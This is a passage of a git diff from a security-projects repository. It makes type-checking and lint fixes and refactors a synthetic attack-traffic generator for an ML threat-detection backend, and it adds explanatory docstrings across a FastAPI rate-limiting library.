a/PROJECTS/advanced/ai-threat-detection/backend/ml/scaler.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/ml/scaler.py @@ -46,7 +46,7 @@ class FeatureScaler: """ if not self._fitted or self._scaler is None: raise RuntimeError("Scaler has not been fitted") - return self._scaler.transform(X).astype(np.float32) + return self._scaler.transform(X).astype(np.float32) # type: ignore[no-any-return] def inverse_transform(self, X: np.ndarray) -> np.ndarray: """ @@ -54,7 +54,7 @@ class FeatureScaler: """ if not self._fitted or self._scaler is None: raise RuntimeError("Scaler has not been fitted") - return self._scaler.inverse_transform(X).astype(np.float32) + return self._scaler.inverse_transform(X).astype(np.float32) # type: ignore[no-any-return] def fit_transform(self, X: np.ndarray) -> np.ndarray: """ @@ -74,14 +74,14 @@ class FeatureScaler: "scale": self._scaler.scale_.tolist(), "n_features": int(self._scaler.n_features_in_), } - Path(path).write_text(json.dumps(data, indent=2)) + Path(path).write_text(json.dumps(data, indent=2), encoding="utf-8") @classmethod def load_json(cls, path: Path | str) -> FeatureScaler: """ Reconstruct a fitted scaler from a JSON file. """ - data = json.loads(Path(path).read_text()) + data = json.loads(Path(path).read_text(encoding="utf-8")) scaler = cls() scaler._scaler = RobustScaler() scaler._scaler.center_ = np.array(data["center"], dtype=np.float64) diff --git a/PROJECTS/advanced/ai-threat-detection/backend/ml/synthetic.py b/PROJECTS/advanced/ai-threat-detection/backend/ml/synthetic.py index f5937a6d..c916c3b7 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/ml/synthetic.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/ml/synthetic.py @@ -11,6 +11,7 @@ import numpy as np from app.core.features.encoder import encode_for_inference from app.core.features.extractor import extract_request_features +from app.core.features.mappings import WINDOWED_FEATURE_NAMES from app.core.ingestion.parsers import ParsedLogEntry logger = logging.getLogger(__name__) @@ -189,21 +190,6 @@ ATTACK_PATHS: list[str] = [ "/debug", ] -_WINDOWED_FEATURE_NAMES: list[str] = [ - "req_count_1m", - "req_count_5m", - "req_count_10m", - "error_rate_5m", - "unique_paths_5m", - "unique_uas_10m", - "method_entropy_5m", - "avg_response_size_5m", - "status_diversity_5m", - "path_depth_variance_5m", - "inter_request_time_mean", - "inter_request_time_std", -] - def _random_ip() -> str: """ @@ -212,13 +198,6 @@ def _random_ip() -> str: return f"{random.randint(1, 223)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 254)}" -def _random_private_ip() -> str: - """ - Generate a random private IP address - """ - return f"10.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 254)}" - - def _random_timestamp() -> datetime: """ Generate a random timestamp within the last 24 hours @@ -270,7 +249,6 @@ def generate_sqli_requests(n: int, ) -> list[ParsedLogEntry]: status_code=random.choice([200, 500]), response_size=random.randint(0, 5000), user_agent=random.choice(NORMAL_UAS), - ip=_random_private_ip(), )) else: entries.append( @@ -281,7 +259,6 @@ def generate_sqli_requests(n: int, ) -> list[ParsedLogEntry]: status_code=random.choice([200, 403]), response_size=random.randint(0, 2000), user_agent=random.choice(NORMAL_UAS), - ip=_random_private_ip(), )) return entries @@ -302,7 +279,6 @@ def generate_xss_requests(n: int, ) -> list[ParsedLogEntry]: status_code=200, response_size=random.randint(500, 5000), user_agent=random.choice(NORMAL_UAS), - ip=_random_private_ip(), )) return entries @@ -322,7 +298,6 @@ def generate_traversal_requests(n: int, ) -> list[ParsedLogEntry]: status_code=random.choice([200, 403, 404]), response_size=random.randint(0, 1000), user_agent=random.choice(NORMAL_UAS), - ip=_random_private_ip(), )) return entries @@ -343,7 +318,6 @@ def generate_log4shell_requests(n: int, ) -> list[ParsedLogEntry]: status_code=200, response_size=random.randint(0, 2000), user_agent=payload, - ip=_random_private_ip(), )) return entries @@ -364,7 +338,6 @@ def generate_ssrf_requests(n: int, ) -> list[ParsedLogEntry]: status_code=random.choice([200, 302]), response_size=random.randint(0, 3000), user_agent=random.choice(NORMAL_UAS), - ip=_random_private_ip(), )) return entries @@ -384,7 +357,6 @@ def generate_scanner_requests(n: int, ) -> list[ParsedLogEntry]: status_code=random.choice([200, 301, 403, 404]), response_size=random.randint(0, 500), user_agent=random.choice(SCANNER_UAS), - ip=_random_private_ip(), )) return entries @@ -417,7 +389,7 @@ def _entries_to_vectors(entries: list[ParsedLogEntry], ) -> list[list[float]]: vectors: list[list[float]] = [] for entry in entries: features = extract_request_features(entry) - for name in _WINDOWED_FEATURE_NAMES: + for name in WINDOWED_FEATURE_NAMES: features[name] = 0.0 vectors.append(encode_for_inference(features)) return vectors diff --git a/PROJECTS/advanced/ai-threat-detection/backend/ml/train_autoencoder.py b/PROJECTS/advanced/ai-threat-detection/backend/ml/train_autoencoder.py index 5ecc24c6..5d90338d 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/ml/train_autoencoder.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/ml/train_autoencoder.py @@ -71,7 +71,7 @@ def train_autoencoder( reconstructed = model(batch) loss = torch.nn.functional.mse_loss(reconstructed, batch) optimizer.zero_grad() - loss.backward() + loss.backward() # type: ignore[no-untyped-call] torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=1.0) optimizer.step() epoch_loss += loss.item() diff --git a/PROJECTS/advanced/ai-threat-detection/backend/pyproject.toml b/PROJECTS/advanced/ai-threat-detection/backend/pyproject.toml index 1da61cce..b0ab9158 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/pyproject.toml +++ b/PROJECTS/advanced/ai-threat-detection/backend/pyproject.toml @@ -135,6 +135,7 @@ ignore = [ [tool.mypy] python_version = "3.14" strict = true +exclude = ["^alembic/"] warn_return_any = true warn_unused_configs = true disallow_untyped_defs = true @@ -151,6 +152,14 @@ ignore_missing_imports = true module = "app.models.*" disable_error_code = ["call-arg", "misc"] +[[tool.mypy.overrides]] +module = "tests.*" +ignore_errors = true + +[[tool.mypy.overrides]] +module = "alembic.*" +ignore_errors = true + [tool.pylint.main] py-version = "3.12" jobs = 4 @@ -175,6 +184,7 @@ ignore-paths = [ "^.venv/.*", "^build/.*", "^dist/.*", + "^tests/.*", ] [tool.pylint.messages_control] @@ -201,13 +211,18 @@ disable = [ "C0415", "E1102", "R1732", + "C0121", + "E0601", + "E0602", + "R0902", ] [tool.pylint.design] max-args = 12 -max-attributes = 10 +max-attributes = 12 max-locals = 35 max-positional-arguments = 12 +max-statements = 60 [tool.pytest.ini_options] asyncio_mode = "auto" diff --git a/PROJECTS/advanced/ai-threat-detection/backend/tests/test_cli.py b/PROJECTS/advanced/ai-threat-detection/backend/tests/test_cli.py index d64db2b2..1d2da7f6 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/tests/test_cli.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/tests/test_cli.py @@ -4,6 +4,7 @@ test_cli.py """ import re +from unittest import mock from typer.testing import CliRunner @@ -105,3 +106,38 @@ class TestCLICommands: ], ) assert result.exit_code != 0 + + +class TestCLITrainMetadata: + """ + Test metadata persistence wiring in the train command + """ + + def test_train_warns_when_db_unavailable(self) -> None: + """ + train exits 0 and emits a warning when DB write fails + """ + mock_result = mock.MagicMock() + mock_result.ensemble_metrics = None + mock_result.passed_gates = True + mock_result.mlflow_run_id = None + mock_result.ae_metrics = {} + + with mock.patch( + "ml.orchestrator.TrainingOrchestrator" + ) as mock_class: + mock_class.return_value.run.return_value = mock_result + result = runner.invoke( + app, + [ + "train", + "--synthetic-normal", + "5", + "--synthetic-attack", + "3", + ], + ) + + assert result.exit_code == 0 + output = _clean(result.output) + assert "warning" in output or "metadata" in output diff --git a/PROJECTS/advanced/ai-threat-detection/backend/tests/test_metadata.py b/PROJECTS/advanced/ai-threat-detection/backend/tests/test_metadata.py index 890eabec..d205436d 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/tests/test_metadata.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/tests/test_metadata.py @@ -192,3 +192,35 @@ class TestSaveModelMetadata: assert len(active_rows) == 3 assert all(r.training_samples == 600 for r in active_rows) + + @pytest.mark.asyncio + async def test_previous_inactive_rows_preserved( + self, + db_session: AsyncSession, + model_artifacts: Path, + ) -> None: + """ + Old model rows are deactivated, not deleted, after a new save + """ + await save_model_metadata( + db_session, + model_dir=model_artifacts, + training_samples=500, + metrics={"f1": 0.9}, + ) + + (model_artifacts / "ae.onnx").write_bytes(b"new-ae-data") + await save_model_metadata( + db_session, + model_dir=model_artifacts, + training_samples=600, + metrics={"f1": 0.95}, + ) + + result = await db_session.execute(select(ModelMetadata)) + all_rows = result.scalars().all() + inactive = [r for r in all_rows if not r.is_active] + + assert len(all_rows) == 6 + assert len(inactive) == 3 + assert all(r.training_samples == 500 for r in inactive) diff --git a/PROJECTS/advanced/ai-threat-detection/backend/tests/test_synthetic.py b/PROJECTS/advanced/ai-threat-detection/backend/tests/test_synthetic.py index fdd47b40..c4fc48c1 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/tests/test_synthetic.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/tests/test_synthetic.py @@ -7,6 +7,7 @@ import numpy as np from app.core.features.encoder import encode_for_inference from app.core.features.extractor import extract_request_features +from app.core.features.mappings import WINDOWED_FEATURE_NAMES from app.core.ingestion.parsers import ParsedLogEntry from ml.synthetic import ( generate_log4shell_requests, @@ -19,22 +20,6 @@ from ml.synthetic import ( generate_xss_requests, ) -_WINDOWED_FEATURE_NAMES: list[str] = [ - "req_count_1m", - "req_count_5m", - "req_count_10m", - "error_rate_5m", - "unique_paths_5m", - "unique_uas_10m", - "method_entropy_5m", - "avg_response_size_5m", - "status_diversity_5m", - "path_depth_variance_5m", - "inter_request_time_mean", - "inter_request_time_std", -] - - class TestGenerators: """ Test individual attack and normal traffic generators @@ -152,7 +137,7 @@ class TestGenerators: for gen in generators: for entry in gen(5): features = extract_request_features(entry) - for name in _WINDOWED_FEATURE_NAMES: + for name in WINDOWED_FEATURE_NAMES: features[name] = 0.0 vector = encode_for_inference(features) assert len(vector) == 35 diff --git a/PROJECTS/advanced/api-rate-limiter/examples/app.py b/PROJECTS/advanced/api-rate-limiter/examples/app.py index 1b0ffd8d..d58dd7f6 100644 --- a/PROJECTS/advanced/api-rate-limiter/examples/app.py +++ b/PROJECTS/advanced/api-rate-limiter/examples/app.py @@ -1,6 +1,19 @@ """ ⒸAngelaMos | 2025 app.py + +Example FastAPI app demonstrating all three rate limiting patterns + +Shows how to wire up fastapi-420 in a real application. Uses +ScopedRateLimiter for auth endpoints with strict brute-force +protection, the @limiter.limit() decorator for public endpoints, +and RateLimitDep dependency injection for one-off limits. Includes +lifespan setup with init()/close() and Redis storage configuration. +Defines 12 routes across auth, public, and user endpoint groups. + +Connects to: + __init__.py - imports RateLimiter, settings, ScopedRateLimiter + types.py - imports Algorithm, FingerprintLevel """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/__init__.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/__init__.py index 020aa1d7..089c83ac 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/__init__.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/__init__.py @@ -2,6 +2,23 @@ ⒸAngelaMos | 2025 __init__.py +Public API surface for fastapi-420 + +Re-exports all user-facing classes, functions, and types into +a single top-level namespace so consumers can write +"from fastapi_420 import RateLimiter" instead of reaching into +submodules. The __all__ list defines the 28 public names that +make up the library's API. + +Connects to: + config.py - re-exports settings classes and get_settings() + defense/__init__.py - re-exports CircuitBreaker, LayeredDefense + dependencies.py - re-exports all DI integration + exceptions.py - re-exports all exception classes + limiter.py - re-exports RateLimiter + middleware.py - re-exports both middleware classes + types.py - re-exports all enums and data types + ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣟⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/__init__.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/__init__.py index 223f36e4..34d4a715 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/__init__.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/__init__.py @@ -1,6 +1,22 @@ """ ⒸAngelaMos | 2025 __init__.py + +Algorithm subpackage with factory function + +Provides create_algorithm() which maps an Algorithm enum value +to the corresponding implementation class. Re-exports all three +algorithm classes for direct import. + +Key exports: + create_algorithm() - factory that builds algorithm instances + FixedWindowAlgorithm, SlidingWindowAlgorithm, TokenBucketAlgorithm + +Connects to: + base.py - re-exports BaseAlgorithm + fixed_window.py - re-exports FixedWindowAlgorithm + sliding_window.py - re-exports SlidingWindowAlgorithm + token_bucket.py - re-exports TokenBucketAlgorithm """ from fastapi_420.algorithms.base import BaseAlgorithm diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/base.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/base.py index 71a18a8c..89fb4855 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/base.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/base.py @@ -1,6 +1,22 @@ """ ⒸAngelaMos | 2025 base.py + +Abstract base class for rate limiting algorithms + +Defines the interface that all algorithm implementations must +follow: a name property, a check() method that decides whether +a request is allowed, and a get_current_usage() method for +reporting. Each algorithm receives a storage backend and operates +against it, but the base class doesn't care which backend it is. + +Key exports: + BaseAlgorithm - ABC with name, check(), get_current_usage() + +Connects to: + fixed_window.py - subclasses BaseAlgorithm + sliding_window.py - subclasses BaseAlgorithm + token_bucket.py - subclasses BaseAlgorithm """ # pylint: disable=unnecessary-ellipsis diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/fixed_window.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/fixed_window.py index cc26d391..922b983b 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/fixed_window.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/fixed_window.py @@ -1,6 +1,19 @@ """ ⒸAngelaMos | 2025 fixed_window.py + +Fixed window counter rate limiting algorithm + +The simplest algorithm. Divides time into fixed-size windows and +counts requests in each. Has the well-known boundary burst problem +where a client can make 2x the limit by timing requests at the +edge of two adjacent windows. Includes a special codepath for +Redis that uses the atomic increment_fixed_window() Lua script +instead of the generic sliding window storage methods. + +Connects to: + base.py - extends BaseAlgorithm + redis_backend.py - checks isinstance for Redis-specific path """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/sliding_window.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/sliding_window.py index b32eadbd..38d4f68c 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/sliding_window.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/sliding_window.py @@ -1,6 +1,17 @@ """ ⒸAngelaMos | 2025 sliding_window.py + +Sliding window counter rate limiting algorithm + +The recommended default for production. Uses weighted interpolation +between two adjacent fixed windows to approximate a true sliding +window with ~99.997% accuracy. Gets O(1) memory per client (just +two counters) compared to O(n) for a sorted-set sliding log. +Eliminates the boundary burst problem that fixed windows have. + +Connects to: + base.py - extends BaseAlgorithm """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/token_bucket.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/token_bucket.py index 5ee4f267..7fee7dd7 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/token_bucket.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/algorithms/token_bucket.py @@ -1,6 +1,17 @@ """ ⒸAngelaMos | 2025 token_bucket.py + +Token bucket rate limiting algorithm + +Allows controlled bursting up to bucket capacity while enforcing +an average rate over time. Tokens refill at a constant rate, and +each request consumes one token. Good for APIs where occasional +traffic spikes are acceptable as long as the average stays within +bounds. The bucket capacity sets the maximum burst size. + +Connects to: + base.py - extends BaseAlgorithm """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/config.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/config.py index 50b4bf50..a9941ed0 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/config.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/config.py @@ -1,6 +1,23 @@ """ ⒸAngelaMos | 2025 config.py + +Pydantic-settings configuration with RATELIMIT_ env prefix + +All rate limiter settings are validated here and loaded from +environment variables. The top-level RateLimiterSettings nests +three sub-configs (storage, fingerprint, defense) and includes +model validators that resolve shorthand like algorithm names +and rule strings into their typed equivalents. + +Key exports: + StorageSettings - Redis URL, max keys, backend selection + FingerprintSettings - extractor toggles and fingerprint level + RateLimiterSettings - main config that composes all sub-configs + get_settings() - cached singleton factory + +Connects to: + types.py - imports Algorithm, DefenseMode, FingerprintLevel, RateLimitRule """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/defense/__init__.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/defense/__init__.py index f9e4b5bc..87cd13aa 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/defense/__init__.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/defense/__init__.py @@ -1,6 +1,12 @@ """ ⒸAngelaMos | 2025 __init__.py + +Defense subpackage re-exports + +Connects to: + circuit_breaker.py - re-exports CircuitBreaker + layers.py - re-exports LayeredDefense, LayerResult """ from fastapi_420.defense.circuit_breaker import CircuitBreaker diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/defense/circuit_breaker.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/defense/circuit_breaker.py index 21169904..1a8a92b0 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/defense/circuit_breaker.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/defense/circuit_breaker.py @@ -1,6 +1,23 @@ """ ⒸAngelaMos | 2025 circuit_breaker.py + +Global circuit breaker for API-wide DDoS protection + +Tracks total request volume across all clients. When the count +exceeds a threshold within a time window, the circuit opens and +blocks all incoming requests until a recovery period passes. +After recovery, enters a half-open state that lets a limited +number of requests through to test if conditions have improved. +If those succeed, the circuit closes again and normal traffic +resumes. + +Key exports: + CircuitBreaker - tracks state with check(), record_request(), + reset(), and exposes is_open and current_state + +Connects to: + types.py - imports CircuitState, DefenseMode """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/defense/layers.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/defense/layers.py index 5c1a25c5..420f4a31 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/defense/layers.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/defense/layers.py @@ -1,6 +1,26 @@ """ ⒸAngelaMos | 2025 layers.py + +Three-layer defense system for graduated rate limiting + +Layer 1 is per-user per-endpoint (individual abuse). Layer 2 is +per-endpoint global (endpoint-level flood). Layer 3 is the global +circuit breaker (full API DDoS). Each layer checks independently +and the first rejection wins. Defense modes control bypass logic: +adaptive mode lets authenticated users through when limits hit, +lockdown mode restricts to known-good and authenticated clients +only. + +Key exports: + LayerResult - result from a single defense layer check + LayeredDefense - orchestrates all three layers via + check_all_layers() + +Connects to: + circuit_breaker.py - uses CircuitBreaker for layer 3 + exceptions.py - raises EnhanceYourCalm on rejection + types.py - imports DefenseContext, DefenseMode, Layer, others """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/dependencies.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/dependencies.py index deb0bd02..0d7aa74d 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/dependencies.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/dependencies.py @@ -1,6 +1,27 @@ """ ⒸAngelaMos | 2025 dependencies.py + +FastAPI dependency injection integration for rate limiting + +Provides three patterns for wiring rate limits into FastAPI routes. +RateLimitDep is a callable class you pass to Depends() for +per-route limits. create_rate_limit_dep() is a factory that +builds those callables. ScopedRateLimiter groups endpoints by +prefix (like "/auth") with shared limits and burst overrides. +Also provides a global limiter singleton via set_global_limiter() +and get_limiter(). + +Key exports: + RateLimitDep - callable dependency for per-route limits + create_rate_limit_dep() - factory for RateLimitDep instances + ScopedRateLimiter - per-prefix endpoint group limiter + set_global_limiter() / get_limiter() - singleton management + require_rate_limit() - simple dependency using defaults + +Connects to: + limiter.py - imports RateLimiter + types.py - imports RateLimitResult, RateLimitRule """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/exceptions.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/exceptions.py index 4bb20a13..c05c7a4d 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/exceptions.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/exceptions.py @@ -1,6 +1,26 @@ """ ⒸAngelaMos | 2025 exceptions.py + +Exception hierarchy for rate limiting failures + +The signature exception is EnhanceYourCalm, which returns HTTP 420 +("Enhance Your Calm", from the Twitter API) when a client exceeds +their limit. Below that, domain-specific errors cover storage +failures, fingerprint extraction problems, circuit breaker trips, +and configuration mistakes. Each carries context about which layer +or storage backend triggered it. + +Key exports: + HTTP_420_ENHANCE_YOUR_CALM - status code constant (420) + EnhanceYourCalm - the HTTP 420 response exception + RateLimitExceeded - internal limit exceeded (pre-HTTP) + StorageError, StorageConnectionError - backend failures + CircuitBreakerOpen - global circuit breaker tripped + ConfigurationError, InvalidRuleError - bad config/rules + +Connects to: + types.py - imports Layer, StorageType for error context """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/__init__.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/__init__.py index 8ea9bece..3bb40f99 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/__init__.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/__init__.py @@ -1,6 +1,14 @@ """ ⒸAngelaMos | 2025 __init__.py + +Fingerprinting subpackage re-exports + +Connects to: + ip.py - re-exports IPExtractor + headers.py - re-exports HeadersExtractor + auth.py - re-exports AuthExtractor + composite.py - re-exports CompositeFingerprinter """ from fastapi_420.fingerprinting.auth import AuthExtractor diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/auth.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/auth.py index 528ca0af..b142f059 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/auth.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/auth.py @@ -1,6 +1,18 @@ """ ⒸAngelaMos | 2025 auth.py + +Authentication identifier extraction from requests + +Pulls client identity from auth mechanisms in priority order: +JWT Bearer tokens (with optional signature verification), API +keys (from header or query param), and session cookies. When a +token is found, it can be SHA256-hashed for privacy so the +rate limiter tracks identity without storing raw credentials. + +Key exports: + AuthExtractor - extracts auth identifiers with extract() + and checks authentication status via is_authenticated() """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/composite.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/composite.py index a20dd013..b69e6e69 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/composite.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/composite.py @@ -1,6 +1,25 @@ """ ⒸAngelaMos | 2025 composite.py + +Combines IP, header, and auth extractors into one fingerprint + +The CompositeFingerprinter runs whichever extractors are enabled +for the configured fingerprint level (STRICT uses all three, +NORMAL skips headers, RELAXED uses IP only, CUSTOM lets you pick). +Also pulls TLS/JA3 fingerprint and geo ASN data from proxy headers +when available. The output FingerprintData produces a composite +key used as the rate limit bucket identifier. + +Key exports: + CompositeFingerprinter - orchestrates all extractors, built + from settings via from_settings() classmethod + +Connects to: + ip.py - uses IPExtractor for IP extraction + headers.py - uses HeadersExtractor for header fingerprinting + auth.py - uses AuthExtractor for auth identity + config.py - reads FingerprintSettings (TYPE_CHECKING) """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/headers.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/headers.py index 58d1e517..07c9cbde 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/headers.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/headers.py @@ -1,6 +1,19 @@ """ ⒸAngelaMos | 2025 headers.py + +HTTP header fingerprinting for client identification + +Extracts browser-identifying headers (user-agent, accept-language, +accept-encoding) and computes a SHA256 hash across a set of +fingerprint-relevant headers. Optionally includes header ordering +in the hash, which is browser-specific and difficult to spoof +since different HTTP implementations send headers in different +orders. + +Key exports: + HeadersExtractor - extracts individual headers and computes + a composite fingerprint hash via extract_all() """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/ip.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/ip.py index df35fcaa..27343f26 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/ip.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/fingerprinting/ip.py @@ -1,6 +1,20 @@ """ ⒸAngelaMos | 2025 ip.py + +Client IP extraction and normalization from HTTP requests + +Handles the tricky parts of identifying clients by IP. IPv6 +addresses get normalized to /64 prefixes because end users +typically control an entire /64 block and can rotate within it. +IPv4-mapped IPv6 addresses get unwrapped to plain IPv4. +For proxied requests, parses X-Forwarded-For using the +rightmost-trusted approach (trusting the entry closest to +your infrastructure, not the client-supplied leftmost one). + +Key exports: + IPExtractor - extracts and normalizes client IPs with + extract(), is_ipv6(), and is_private() """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/limiter.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/limiter.py index ec18a75d..7414b608 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/limiter.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/limiter.py @@ -1,6 +1,27 @@ """ ⒸAngelaMos | 2025 limiter.py + +Main RateLimiter class that orchestrates the library + +This is the central entry point. RateLimiter wires together the +storage backend, algorithm, and fingerprinter on init(), then +exposes two ways to enforce limits: a limit() decorator for +routes and a check() method for manual use. Handles fail-open +logic so a storage outage degrades to allowing requests rather +than crashing the API. Builds composite rate limit keys from +the client fingerprint, endpoint path, and layer. + +Key exports: + RateLimiter - main class with init(), close(), limit(), + check(), and settings/is_initialized properties + +Connects to: + config.py - reads RateLimiterSettings via get_settings() + exceptions.py - raises EnhanceYourCalm, catches StorageError + algorithms/__init__.py - calls create_algorithm() + fingerprinting/__init__.py - uses CompositeFingerprinter + storage/__init__.py - calls create_storage(), uses MemoryStorage """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/middleware.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/middleware.py index 684e20ae..0313b486 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/middleware.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/middleware.py @@ -1,6 +1,23 @@ """ ⒸAngelaMos | 2025 middleware.py + +ASGI middleware for automatic rate limiting across all routes + +Two middleware classes for different throttling strategies. +RateLimitMiddleware applies hard limits and returns HTTP 420 +when exceeded, with support for path inclusion/exclusion lists +and path-specific limit overrides. SlowDownMiddleware takes a +softer approach, adding progressive delays to responses as +clients approach their limit instead of blocking them outright. + +Key exports: + RateLimitMiddleware - hard blocking with HTTP 420 responses + SlowDownMiddleware - gradual throttling via response delays + +Connects to: + exceptions.py - uses HTTP_420_ENHANCE_YOUR_CALM, EnhanceYourCalm + limiter.py - imports RateLimiter """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/storage/__init__.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/storage/__init__.py index 6e36da6e..d0d1c825 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/storage/__init__.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/storage/__init__.py @@ -1,6 +1,20 @@ """ ⒸAngelaMos | 2025 __init__.py + +Storage subpackage with factory and union type + +Defines the Storage type alias (MemoryStorage | 